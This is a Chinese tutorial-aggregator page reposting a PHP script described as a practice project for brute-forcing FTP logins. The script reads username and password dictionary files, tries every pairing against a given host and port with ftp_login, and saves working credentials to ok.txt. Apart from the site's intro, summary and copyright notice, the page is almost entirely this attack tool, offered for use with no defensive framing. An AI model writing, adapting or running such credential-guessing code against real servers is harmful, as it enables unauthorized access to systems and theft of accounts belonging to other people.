暴破FTP用户名和密码(PHP练手作品)_PHP教程
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了暴破FTP用户名和密码(PHP练手作品)_PHP教程,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含1251字,纯文字阅读大概需要2分钟。
内容图文
//用法:php 本文件.php FTP的IP 端口 用户字典 密码字典,示例:php ftp.php 192.168.8.10 21 user.dic pass.dic。可以自己改动sleep里的秒数,暴破成功后用户名和密码保存在同目录下的ok.txt。
//分别取不同用户名和N个密码对应
$user=file($_SERVER["argv"][3]);
$pass=file($_SERVER["argv"][4]);
$countuser=count($user);
$countpass=count($pass);
$n=0;
do
{
for($i=0;$i<$countpass;$i=$i+1){
echo "$user[$n],$pass[$i]";
ftplogin($user[$n],$pass[$i]);//调用ftp函数
sleep(5);//防止ftp宕掉,暂且停5秒
Continue;
}
$n++;
}
while($n<$countuser);
//FTP函数,登陆成功写入正确用户名和密码到本目录下的ok.txt
function ftplogin($username,$password){
//global $username, $password;
$host=$_SERVER["argv"][1];
$port=$_SERVER["argv"][2];
$conn = ftp_connect($host,$port);
if(!$conn){
echo "无法连FTP";
exit;
}
@ $result=ftp_login($conn,$username,$password);
if(!$result){
echo "error";
ftp_quit($conn);
}
else{
echo "---------------------------------->ok";
fputs(fopen(ok.txt,a+),"用户名:".$username."密码:".$password);
}
}
?>
http://www.bkjia.com/PHPjc/532404.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/532404.htmlTechArticle?php //用法:php 本文件.php FTP的IP 端口 用户字典 密码字典,示例:php ftp.php 192.168.8.10 21 user.dic pass.dic。可以自己改动sleep里的秒数,暴破成...
内容总结
以上是互联网集市为您收集整理的暴破FTP用户名和密码(PHP练手作品)_PHP教程全部内容,希望文章能够帮你解决暴破FTP用户名和密码(PHP练手作品)_PHP教程所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。